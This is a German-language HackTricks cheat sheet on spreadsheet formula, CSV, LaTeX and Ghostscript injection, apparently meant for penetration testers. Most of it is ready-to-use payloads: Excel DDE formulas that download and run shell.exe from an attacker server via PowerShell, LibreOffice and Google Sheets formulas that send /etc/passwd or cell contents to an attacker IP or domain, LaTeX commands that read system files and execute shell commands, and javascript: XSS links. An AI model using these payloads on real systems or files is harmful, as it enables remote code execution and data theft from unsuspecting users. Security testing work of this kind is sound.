Formula/CSV/Doc/LaTeX/GhostScript Injection

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Try Hard Security Group


Formel Injection

Info

Wenn Ihr Eingabe in CSV-Dateien (oder einer anderen Datei, die wahrscheinlich von Excel geöffnet wird) reflektiert wird, können Sie möglicherweise Excel-Formeln einfügen, die ausgeführt werden, wenn der Benutzer die Datei öffnet oder wenn der Benutzer auf einen Link in der Excel-Tabelle klickt.

Heutzutage warnt Excel (mehrmals) den Benutzer, wenn etwas von außerhalb von Excel geladen wird, um ihn vor bösartigen Aktionen zu schützen. Daher muss besonderer Aufwand bei der Social Engineering auf das endgültige Payload angewendet werden.

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Das folgende Beispiel ist sehr nützlich, um Inhalte aus der endgültigen Excel-Tabelle zu exfiltrieren und Anfragen an beliebige Standorte durchzuführen. Es erfordert jedoch, dass der Benutzer auf den Link klickt (und die Warnhinweise akzeptiert).

Das folgende Beispiel wurde von https://payatu.com/csv-injection-basic-to-exploit übernommen.

Stellen Sie sich vor, dass ein Sicherheitsvorfall in einem System zur Verwaltung von Studentenakten durch einen CSV-Injektionsangriff ausgenutzt wird. Die primäre Absicht des Angreifers besteht darin, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode beinhaltet, dass der Angreifer eine bösartige Nutzlast in die Anwendung einschleust, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff verläuft wie folgt:

  1. Injektion der bösartigen Nutzlast:

  • Der Angreifer sendet ein Formular mit Schülerdetails ein, fügt jedoch eine in Tabellenkalkulationen häufig verwendete Formel ein (z. B. =HYPERLINK("<bösartiger_link>","Hier klicken")).

  • Diese Formel ist darauf ausgelegt, einen Hyperlink zu erstellen, der jedoch auf einen vom Angreifer kontrollierten bösartigen Server zeigt.

  1. Exportieren kompromittierter Daten:

  • Lehrer, die sich der Kompromittierung nicht bewusst sind, verwenden die Funktion der Anwendung, um die Daten in eine CSV-Datei zu exportieren.

  • Die CSV-Datei enthält beim Öffnen immer noch die bösartige Nutzlast. Diese Nutzlast erscheint als klickbarer Hyperlink in der Tabelle.

  1. Auslösen des Angriffs:

  • Ein Lehrer klickt auf den Hyperlink und glaubt, dass es sich um einen legitimen Teil der Schülerdetails handelt.

  • Beim Klicken werden sensible Daten (potenziell einschließlich Details aus der Tabelle oder dem Computer des Lehrers) an den Server des Angreifers übertragen.

  1. Protokollierung der Daten:

  • Der Server des Angreifers empfängt und protokolliert die sensiblen Daten, die vom Computer des Lehrers gesendet wurden.

  • Der Angreifer kann diese Daten dann für verschiedene bösartige Zwecke verwenden, um die Privatsphäre und Sicherheit der Schüler und der Institution weiter zu gefährden.

RCE

Überprüfen Sie den ursprünglichen Beitrag für weitere Details.

In bestimmten Konfigurationen oder älteren Versionen von Excel kann eine Funktion namens Dynamischer Datenaustausch (DDE) ausgenutzt werden, um beliebige Befehle auszuführen. Um dies zu nutzen, müssen die folgenden Einstellungen aktiviert sein:

  • Navigieren Sie zu Datei → Optionen → Trust Center → Trust Center-Einstellungen → Externe Inhalte und aktivieren Sie Dynamisches Datenaustausch-Serverstart.

Wenn eine Tabelle mit der bösartigen Nutzlast geöffnet wird (und wenn der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Zum Beispiel, um die Taschenrechneranwendung zu starten, wäre die Nutzlast:

=cmd|' /C calc'!xxx

Zusätzliche Befehle können ebenfalls ausgeführt werden, wie z.B. das Herunterladen und Ausführen einer Datei mit PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Lokale Dateieinschleusung (LFI) in LibreOffice Calc

LibreOffice Calc kann verwendet werden, um lokale Dateien zu lesen und Daten zu exfiltrieren. Hier sind einige Methoden:

  • Lesen der ersten Zeile aus der lokalen /etc/passwd-Datei: ='file:///etc/passwd'#$passwd.A1

  • Exfiltration der gelesenen Daten an einen vom Angreifer kontrollierten Server: =WEBSERVICE(CONCATENATE("http://<Angreifer-IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • Exfiltration von mehr als einer Zeile: =WEBSERVICE(CONCATENATE("http://<Angreifer-IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • DNS-Exfiltration (Senden von gelesenen Daten als DNS-Abfragen an einen vom Angreifer kontrollierten DNS-Server): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<Angreifer-Domain>"))

Google Sheets für Out-of-Band (OOB) Datenexfiltration

Google Sheets bietet Funktionen, die für die OOB-Datenexfiltration ausgenutzt werden können:

  • CONCATENATE: Hängt Zeichenfolgen zusammen - =CONCATENATE(A2:E2)

  • IMPORTXML: Importiert Daten aus strukturierten Datentypen - =IMPORTXML(CONCAT("http://<Angreifer-IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: Importiert RSS- oder ATOM-Feeds - =IMPORTFEED(CONCAT("http://<Angreifer-IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: Importiert Daten aus HTML-Tabellen oder Listen - =IMPORTHTML (CONCAT("http://<Angreifer-IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: Importiert einen Zellenbereich aus einem anderen Tabellenblatt - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

  • IMAGE: Fügt ein Bild in eine Zelle ein - =IMAGE("https://<Angreifer-IP:Port>/images/srpr/logo3w.png")

LaTeX-Injektion

Normalerweise verwenden die Server, die im Internet zu finden sind und LaTeX-Code in PDF umwandeln, pdflatex. Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen zu (de)aktivieren:

  • --no-shell-escape: Deaktiviert die \write18{command}-Konstruktion, auch wenn sie in der texmf.cnf-Datei aktiviert ist.

  • --shell-restricted: Gleich wie --shell-escape, aber auf einen 'sicheren' Satz von vordefinierten Befehlen beschränkt (**In Ubuntu 16.04 ist die Liste in /usr/share/texmf/web2c/texmf.cnf zu finden).

  • --shell-escape: Aktiviert die \write18{command}-Konstruktion. Der Befehl kann ein beliebiger Shell-Befehl sein. Diese Konstruktion ist normalerweise aus Sicherheitsgründen deaktiviert.

Es gibt jedoch andere Möglichkeiten, Befehle auszuführen, daher ist es sehr wichtig, --shell-restricted zu verwenden, um RCE zu vermeiden.

Datei lesen

Möglicherweise müssen Sie die Injektion mit Wrappern wie [ oder $ anpassen.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Einzeilige Datei lesen

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Mehrzeilige Datei lesen

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Datei schreiben

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Befehlsausführung

Die Eingabe des Befehls wird an stdin umgeleitet, verwenden Sie eine temporäre Datei, um sie zu erhalten.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

CSV Injection

LaTeX Injection

LaTeX-Injektion kann auch durch CSV-Dateien erfolgen, die in LaTeX-Dokumente eingebettet sind. Ein Angreifer kann LaTeX-Befehle in einer CSV-Datei platzieren, die dann in ein LaTeX-Dokument eingefügt wird und beim Kompilieren des Dokuments ausgeführt wird. Dies kann zu verschiedenen Angriffen führen, einschließlich der Ausführung von Befehlen auf dem Server. Es ist wichtig, Benutzereingaben in CSV-Dateien zu validieren, um LaTeX-Injektion zu verhindern.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Von @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Überprüfen https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Referenzen

Try Hard Security Group

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated